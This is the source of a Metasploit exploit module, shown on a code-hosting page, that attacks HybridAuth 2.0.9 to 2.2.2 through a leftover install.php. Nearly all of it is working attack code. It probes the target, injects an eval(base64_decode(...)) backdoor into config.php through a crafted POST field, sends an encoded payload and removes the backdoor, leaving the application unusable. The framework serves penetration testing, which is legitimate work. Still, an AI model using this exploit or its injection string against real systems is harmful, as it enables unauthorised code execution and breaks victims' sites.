Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/unix/webapp/hybridauth_install_php_exec.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = ManualRanking # application config.php is overwritten78include Msf::Exploit::Remote::HttpClient910def initialize(info = {})11super(update_info(info,12'Name' => 'HybridAuth install.php PHP Code Execution',13'Description' => %q{14This module exploits a PHP code execution vulnerability in15HybridAuth versions 2.0.9 to 2.2.2. The install file 'install.php'16is not removed after installation allowing unauthenticated users to17write PHP code to the application configuration file 'config.php'.1819Note: This exploit will overwrite the application configuration file20rendering the application unusable.21},22'License' => MSF_LICENSE,23'Author' =>24[25'Pichaya Morimoto', # Discovery and PoC26'bcoles' # Metasploit27],28'References' =>29[30['EDB', '34273'],31['OSVDB','109838']32],33'Arch' => ARCH_PHP,34'Platform' => 'php',35'Targets' =>36[37# Tested:38# HybridAuth versions 2.0.9, 2.0.10, 2.0.11, 2.1.2, 2.2.2 on Apache/2.2.14 (Ubuntu)39['HybridAuth version 2.0.9 to 2.2.2 (PHP Payload)', {}]40],41'Privileged' => false,42'DisclosureDate' => '2014-08-04',43'DefaultTarget' => 0))4445register_options(46[47OptString.new('TARGETURI', [true, 'The base path to HybridAuth library', '/hybridauth/'])48])49end505152#53# Check:54# * install.php exists55# * config.php is writable56# * HybridAuth version is 2.0.9 to 2.0.11, 2.1.x, or 2.2.0 to 2.2.257#58def check59res = send_request_cgi 'uri' => normalize_uri(target_uri.path, 'install.php')60if !res61vprint_error "Connection failed"62return Exploit::CheckCode::Unknown63elsif res.code == 40464vprint_error "Could not find install.php"65elsif res.body =~ />([^<]+)<\/span> must be <b >WRITABLE</66vprint_error "#{$1} is not writable"67elsif res.body =~ />HybridAuth (2\.[012]\.[\d\.]+(-dev)?) Installer</68version = res.body.scan(/>HybridAuth (2\.[012]\.[\d\.]+(-dev)?) Installer</).first.first69vprint_status "Found version: #{version}"70if version =~ /^2\.(0\.(9|10|11)|1\.[\d]+|2\.[012])/71return Exploit::CheckCode::Vulnerable72else73vprint_error "HybridAuth version #{version} is not vulnerable"74end75end76Exploit::CheckCode::Safe77end7879#80# Exploit81#82def exploit83# check vuln84if check != Exploit::CheckCode::Vulnerable85fail_with Failure::NotVulnerable, "#{peer} - Target is not vulnerable"86end8788# write backdoor89print_status "Writing backdoor to config.php"90payload_param = rand(1000)91res = send_request_cgi(92'method' => 'POST',93'uri' => normalize_uri(target_uri.path, 'install.php'),94'data' => "OPENID_ADAPTER_STATUS=eval(base64_decode($_POST[#{payload_param}])))));/*"95)96if !res97fail_with Failure::Unknown, "#{peer} - Connection failed"98elsif res.body =~ /Installation completed/99print_good "Wrote backdoor successfully"100else101fail_with Failure::UnexpectedReply, "#{peer} - Coud not write backdoor to 'config.php'"102end103104# execute payload105code = Rex::Text.encode_base64(payload.encoded)106print_status "Sending payload to config.php backdoor (#{code.length} bytes)"107res = send_request_cgi({108'method' => 'POST',109'uri' => normalize_uri(target_uri.path, 'config.php'),110'data' => "#{payload_param}=#{code}"111}, 5)112if !res113print_warning "No response"114elsif res.code == 404115fail_with Failure::NotFound, "#{peer} - Could not find config.php"116elsif res.code == 200 || res.code == 500117print_good "Sent payload successfully"118end119120# remove backdoor121print_status "Removing backdoor from config.php"122res = send_request_cgi(123'method' => 'POST',124'uri' => normalize_uri(target_uri.path, 'install.php'),125'data' => 'OPENID_ADAPTER_STATUS='126)127if !res128print_error "Connection failed"129elsif res.body =~ /Installation completed/130print_good "Removed backdoor successfully"131else132print_warning "Could not remove payload from config.php"133end134end135end136137138